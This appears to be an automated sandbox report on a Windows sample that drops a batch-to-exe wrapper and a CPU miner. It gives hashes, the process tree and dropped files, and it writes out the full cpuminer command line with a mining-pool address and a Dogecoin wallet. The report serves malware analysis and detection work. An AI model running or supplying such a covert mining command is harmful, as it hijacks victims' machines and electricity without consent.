73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
292s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21/02/2024, 02:23

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4372	b2e.exe
4816	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/192-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 192 wrote to memory of 4372	192	batexe.exe	75
PID 192 wrote to memory of 4372	192	batexe.exe	75
PID 192 wrote to memory of 4372	192	batexe.exe	75
PID 4372 wrote to memory of 1092	4372	b2e.exe	76
PID 4372 wrote to memory of 1092	4372	b2e.exe	76
PID 4372 wrote to memory of 1092	4372	b2e.exe	76
PID 1092 wrote to memory of 4816	1092	cmd.exe	79
PID 1092 wrote to memory of 4816	1092	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:192
- C:\Users\Admin\AppData\Local\Temp\B9F9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B9F9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B9F9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BBFD.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1092
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B9F9.tmp\b2e.exe

Filesize
12.7MB

MD5
9b9f582d50b55bfe99f9e47cc712cfff

SHA1
65ae5afc6f875c854c21a9a531f46b28c6ab4555

SHA256
2bdf69a46da83947ec182681c954a5201ecec4ff06371ba93d1ab616329ce0e4

SHA512
c56144bdf9f45a78f773e844e8415e2424f899e10516f9edb65b4eaf9c2e4bad24b66082c5d519442fb388fb6dd9da1ff08bf25e958367735c2529bf4ecb428e

Download Submit
C:\Users\Admin\AppData\Local\Temp\B9F9.tmp\b2e.exe

Filesize
10.3MB

MD5
4f65746c5155649200369e0bb0d744a4

SHA1
6c845da6c8d584aacc6f83bb97fd7110e22450fb

SHA256
110537d50246e0bba7ffd6e8df34c7fdf3f3a9b8ada51be535b1502df4d20efb

SHA512
44af6588ab1eca0ada4584dc51f5604f9656097bd52ba59bfde5604c3a57735e9dba28a0943564c2069482a764f264dfcb162b90c21c6e2fa267144d099dadca

Download Submit
C:\Users\Admin\AppData\Local\Temp\BBFD.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.9MB

MD5
34fd2bfc8688013e5099184d3c6fbf6b

SHA1
fe135468dc181a7dc45b9a9ba13ddb7b69cbc812

SHA256
6e67cf407bb4b2d10b745b7a0d22e74e91aff82447fd1ef6fbb6597e4fee06ee

SHA512
41c541cc429c64e8f1736236a0b03a9009385430014eaa35ab657fd8a878021cb1c63b84f1d01d829e3d8370cb7b597ee2ff2cd995e93bdf5c128eea080da0ea

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.9MB

MD5
536e6e4961f932727cbcfeb0b3fee8d6

SHA1
cb94299c6cfed5f057371abf81f41a51550eeba3

SHA256
b04f4ba1b9647e21eb3d76fe3adf925a3cbee9633292d44d24b50f961d3e578f

SHA512
19a9113ddc6711eb24ceca92a3f84d2cf0365b5f42ef592fbb8209523350fe281855db707be2be270ac37a949048f99a5a78c46e986623bc3b8a66304a3c4c17

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.4MB

MD5
f2b398c16f79c3c197071cb47146efbd

SHA1
59e884f44bec19f8d5018bb5b8f79e79b98b69c3

SHA256
c3be97bd0e7ea842120b24afd7fa0ad1435d0a8eb0ecb36a611c6de105c98f23

SHA512
31c48626b43e32efa3b120894e77b75ed3542c96e9e858beaeac512740b7728b061b7ec70db496403e81ef493741ed13045d3c9608a53be181c8a77180191244

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/192-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4372-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4372-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4816-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4816-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-42-0x0000000060AA0000-0x0000000060B38000-memory.dmp

Filesize
608KB

Download
memory/4816-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4816-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4816-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download